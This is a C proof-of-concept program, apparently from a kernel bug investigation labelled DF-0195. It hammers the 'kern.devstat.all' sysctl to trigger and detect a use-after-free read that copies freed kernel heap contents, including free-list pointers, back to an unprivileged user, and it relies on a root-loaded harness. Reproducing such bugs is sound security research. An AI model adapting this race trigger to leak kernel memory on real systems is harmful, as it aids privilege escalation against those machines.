DF-0195 / reader.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 | /* * DF-0195 unprivileged victim: hammer the world-readable sysctl * `kern.devstat.all` in a tight loop and DETECT a use-after-free read. * * Run as the unprivileged user (maxx). When a device is concurrently * detached (here: by the root-loaded harness ds195.ko), sysctl_devstat()'s * unlocked STAILQ walk (sys/kern/subr_devstat.c:289-292) follows a freed * slab chunk, copying freed-memory contents back to userspace. * * Detection: the devstat blob is [8-byte generation][N x 200-byte struct devstat]. * A live devstat entry has a sane device_name. A freed chunk read back as a * devstat contains either: * - 0xdeadc0de poison (when root sets debug.use_weird_array=1), or * - a kernel-heap free-list pointer in the first 8 bytes + stale residue. * Either is unambiguous proof of a UAF read. We hex-dump the first anomalies. * * Usage: ./reader [seconds] */ #include <sys/types.h> #include <sys/sysctl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <ctype.h> #define DS_SIZE 200 /* sizeof(struct devstat), verified empirically */ #define BUF_SIZE 16384 static unsigned long iter = 0, anomalies = 0; static int dumped = 0; /* 0xdeadc0de little-endian byte pattern. Require >=2 consecutive copies: * the slab poison (debug.use_weird_array=1) fills bytes 8..63 of a freed * 200-byte devstat chunk with 14 copies of 0xdeadc0de, which can never appear * in a live devstat entry (it would need exactly that many bytes_read etc.). */ static int has_weird(const unsigned char *p, int n) { int i, run = 0, maxrun = 0; for (i = 0; i + 3 < n; i++) { if (p[i] == 0xde && p[i+1] == 0xc0 && p[i+2] == 0xad && p[i+3] == 0xde) { run++; if (run > maxrun) maxrun = run; i += 3; } else { run = 0; } } return (maxrun >= 2); } static int bad_devname(const unsigned char *name) { int i, printable = 0; /* valid devstat names are short ASCII driver tags */ for (i = 0; i < 16; i++) { if (name[i] == 0) break; if (isprint(name[i])) printable++; else return 1; } if (printable == 0 || printable > 15) return 1; return 0; } static void hexdump(const unsigned char *p, int n, const char *tag) { int i; fprintf(stderr, "\n=== ANOMALY %s (iter=%lu) ===\n", tag, iter); for (i = 0; i < n; i++) { if ((i & 15) == 0) fprintf(stderr, " %04x:", i); fprintf(stderr, " %02x", p[i]); if ((i & 15) == 15) fprintf(stderr, "\n"); } fprintf(stderr, "\n"); } int main(int argc, char **argv) { int name2[CTL_MAXNAME]; size_t nlen, dsize; unsigned char buf[BUF_SIZE]; int secs = (argc > 1) ? atoi(argv[1]) : 20; nlen = sizeof(name2); if (sysctlnametomib("kern.devstat.all", name2, &nlen) != 0) { perror("sysctlnametomib"); return 1; } alarm(secs); fprintf(stderr, "DF-0195 reader: hammering kern.devstat.all for %ds " "(DS_SIZE=%d)\n", secs, DS_SIZE); for (;;) { size_t sz = sizeof(buf); unsigned char *p; int n, j; memset(buf, 0, sizeof(buf)); if (sysctl(name2, nlen, buf, &sz, NULL, 0) != 0) { if (errno == EFAULT || errno == ENOMEM) anomalies++; continue; } iter++; if (sz < 8) continue; /* walk each 200-byte devstat entry after the 8-byte generation */ n = (int)((sz - 8) / DS_SIZE); for (j = 0, p = buf + 8; j < n; j++, p += DS_SIZE) { unsigned long w0; /* dev_links.stqe_next */ memcpy(&w0, p, sizeof(w0)); /* device_name is at offset +12 (after 8-byte STAILQ ptr * + 4-byte device_number); a live entry has an ASCII tag * there, a freed/poisoned chunk has 0xdeadc0de. */ if (has_weird(p, DS_SIZE) || bad_devname(p + 12)) { anomalies++; if (dumped < 6) { hexdump(p, DS_SIZE, has_weird(p, DS_SIZE) ? "POISON-0xdeadc0de" : "BADENTRY"); fflush(stderr); dumped++; } } } } return 0; } |